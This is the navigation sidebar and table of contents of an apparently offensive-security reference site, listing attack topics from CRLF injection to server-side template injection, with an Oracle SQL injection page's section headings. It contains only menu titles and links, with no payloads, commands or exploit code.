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<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
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LDAP Injection
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LaTeX Injection
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LaTeX Injection
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Mass Assignment
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Mass Assignment
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Mass Assignment
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Bind Shell
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Cloud - Azure
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Cobalt Strike
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Container - Docker
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Container - Kubernetes
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Application Escape and Breakout
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HTML Smuggling
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Hash Cracking
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Initial Access
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Linux - Evasion
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Linux - Persistence
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Linux - Privilege Escalation
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MSSQL Server
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Metasploit
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Bug Hunting Methodology and Enumeration
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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Reverse Shell Cheat Sheet
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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Subdomains Enumeration
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
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Windows - AMSI Bypass
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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Windows - DPAPI
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
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Windows - Defenses
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
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Windows - Download and execute methods
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
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Windows - Mimikatz
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
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Windows - Persistence
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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Windows - Privilege Escalation
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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NoSQL Injection
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OAuth Misconfiguration
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OAuth Misconfiguration
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<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
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OAuth Misconfiguration
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ORM Leak
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
ORM Leak
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
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Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
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</a>
</li>
</ul>
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Prompt Injection
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<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
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</a>
</li>
</ul>
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Prototype Pollution
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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Prototype Pollution
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<li class="md-nav__item">
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Prototype Pollution
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Race Condition
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Race Condition
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<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
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Race Condition
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Regular Expression
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Regular Expression
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<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
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Regular Expression
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<span class="md-ellipsis">
Request Smuggling
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
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Request Smuggling
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<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
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SAML Injection
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SAML Injection
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<a href="../../SAML%20Injection/" class="md-nav__link">
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SAML Injection
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SQL Injection
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SQL Injection
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SQL Injection
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<a href="../BigQuery%20Injection/" class="md-nav__link">
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Google BigQuery SQL Injection
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Cassandra Injection
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DB2 Injection
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MSSQL Injection
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MySQL Injection
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Oracle SQL Injection
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Oracle SQL Injection
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Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-default-databases" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Default Databases
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-comments" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Comments
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-enumeration" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-database-credentials" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Database Credentials
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-methodology" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Methodology
</span>
</a>
<nav class="md-nav" aria-label="Oracle SQL Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#oracle-sql-list-databases" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL List Databases
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-list-tables" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL List Tables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-list-columns" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL List Columns
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-error-based" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Error Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-blind" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Blind
</span>
</a>
<nav class="md-nav" aria-label="Oracle SQL Blind">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#oracle-blind-with-substring-equivalent" class="md-nav__link">
<span class="md-ellipsis">
Oracle Blind With Substring Equivalent
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-time-based" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Time Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-out-of-band" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Out of Band
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-sql-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Command Execution
</span>
</a>
<nav class="md-nav" aria-label="Oracle SQL Command Execution">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#oracle-java-execution" class="md-nav__link">
<span class="md-ellipsis">
Oracle Java Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oracle-java-class" class="md-nav__link">
<span class="md-ellipsis">
Oracle Java Class
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#package-os_command" class="md-nav__link">
<span class="md-ellipsis">
Package os_command
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#dbms_scheduler-jobs" class="md-nav__link">
<span class="md-ellipsis">
DBMS_SCHEDULER Jobs
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#oraclesql-file-manipulation" class="md-nav__link">
<span class="md-ellipsis">
OracleSQL File Manipulation
</span>
</a>
<nav class="md-nav" aria-label="OracleSQL File Manipulation">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#oraclesql-read-file" class="md-nav__link">
<span class="md-ellipsis">
OracleSQL Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#oraclesql-write-file" class="md-nav__link">
<span class="md-ellipsis">
OracleSQL Write File
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="../PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
